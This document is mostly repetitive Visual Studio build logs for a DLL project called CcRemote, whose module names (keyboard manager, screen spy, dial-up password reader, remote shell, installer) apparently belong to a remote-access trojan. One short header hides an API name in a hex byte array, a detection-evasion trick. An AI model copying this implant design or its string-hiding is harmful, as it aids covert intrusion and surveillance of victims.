f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(36): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(125): warning C4101: “gCapTureParms”: 未引用的局部变量
VideoManager.cpp
正在生成代码...
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(113): warning C4700: 使用了未初始化的局部变量“NameSize”
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
FileManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(213): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(213): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(247): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(247): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(291): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(292): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(442): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(617): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(614): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(260): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
dllmain.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(162): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(162): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(231): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(53): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(263): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(264): warning C4996: 'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdlib.h(1015): note: 参见“wcstombs”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(294): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(304): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(329): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(358): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(359): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
StrCry.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(8): warning C4018: “<=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(10): warning C4267: “=”: 从“size_t”转换到“char”可能丢失数据
正在生成代码...
LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”已忽略
正在创建库 ..\..\bin\server\CcMainDll.lib 和对象 ..\..\bin\server\CcMainDll.exp
LINK : warning LNK4098: 默认库“LIBCMT”与其他库的使用冲突请使用 /NODEFAULTLIB:library
CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\CcMainDll\..\..\bin\server\CcMainDll.dll

View File

@@ -0,0 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Debug|Win32|F:\myapp\CcRemote\CcMainDll\|

View File

@@ -0,0 +1,29 @@
/*
typedef BOOL (WINAPI *CloseWindowT)(IN HWND hWnd);
class DynamicAPI
{
public:
CloseWindowT pCloseWindowT;
void init_user32(){
pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),"CloseWindow");
}
};
*/
typedef BOOL (WINAPI* CloseWindowT)(IN HWND hWnd);
class DynamicAPI
{
public:
CloseWindowT pCloseWindowT;
void init_user32()
{
//char chTemp[]={0x43, 0x6C, 0x6F, 0x73, 0x65, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77,0};
//pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),chTemp);
char chTemp[]={0x43, 0x6C, 0x6F, 0x73, 0x65, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0};
//pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),"CloseWindow");
pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),chTemp);
}
};

View File

@@ -0,0 +1 @@
f:\myapp\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll

View File

@@ -0,0 +1,191 @@
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
pch.cpp
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
Audio.cpp
f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
ClientSocket.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(34): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(34): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(75): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(77): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(213): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(330): warning C4018: “>=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(431): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(486): warning C4018: “>=”: 有符号/无符号不匹配
Buffer.cpp
KeyboardManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
until.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(69): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(103): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(103): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(176): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(179): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(292): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(292): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(324): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(324): warning C4309: “初始化”: 截断常量值
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
AudioManager.cpp
Dialupass.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(139): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(143): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(147): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(208): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
install.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(7): warning C4101: “Desc”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(121): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(120): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
KernelManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(194): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(194): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(220): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(220): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(258): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(258): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(278): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(278): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(279): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(279): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(156): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(156): warning C4309: “初始化”: 截断常量值
Manager.cpp
RegEditEx.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(10): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(75): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(75): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(76): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(76): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(77): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(77): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(78): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(78): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(79): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(79): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(110): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(124): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(151): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(121): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(122): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
RegeditOpt.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(71): warning C4305: “=”: 从“<unnamed-enum-TRANSFER_MODE_NORMAL>”到“char”截断
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(71): warning C4309: “=”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(83): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(55): warning C4101: “DateSize”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(54): warning C4101: “Type”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(54): warning C4101: “NameSize”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(126): warning C4305: “=”: 从“<unnamed-enum-TRANSFER_MODE_NORMAL>”到“char”截断
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(126): warning C4309: “=”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(164): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(98): warning C4101: “szKeyName”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(106): warning C4101: “KeySize”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(182): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
RegManager.cpp
ScreenManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
d:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义
ScreenSpy.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(379): warning C4018: “>”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(400): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(419): warning C4018: “<”: 有符号/无符号不匹配
ServerManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\servermanager.cpp(291): warning C4102: “defaute”: 未引用的标签
ShellManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(59): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
SystemManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(140): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(231): warning C4101: “cbNeeded”: 未引用的局部变量
VideoCap.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(27): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(27): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(36): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(36): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(125): warning C4101: “gCapTureParms”: 未引用的局部变量
VideoManager.cpp
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
FileManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(213): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(213): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(247): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(247): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(291): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(292): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(442): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(614): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(617): warning C4307: “+”: 整型常量溢出
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
dllmain.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(162): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(162): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(231): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(53): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(263): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(264): warning C4996: 'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdlib.h(1015): note: 参见“wcstombs”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(294): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(304): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(329): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(358): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(359): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
StrCry.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(8): warning C4018: “<=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(10): warning C4267: “=”: 从“size_t”转换到“char”可能丢失数据
LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”已忽略
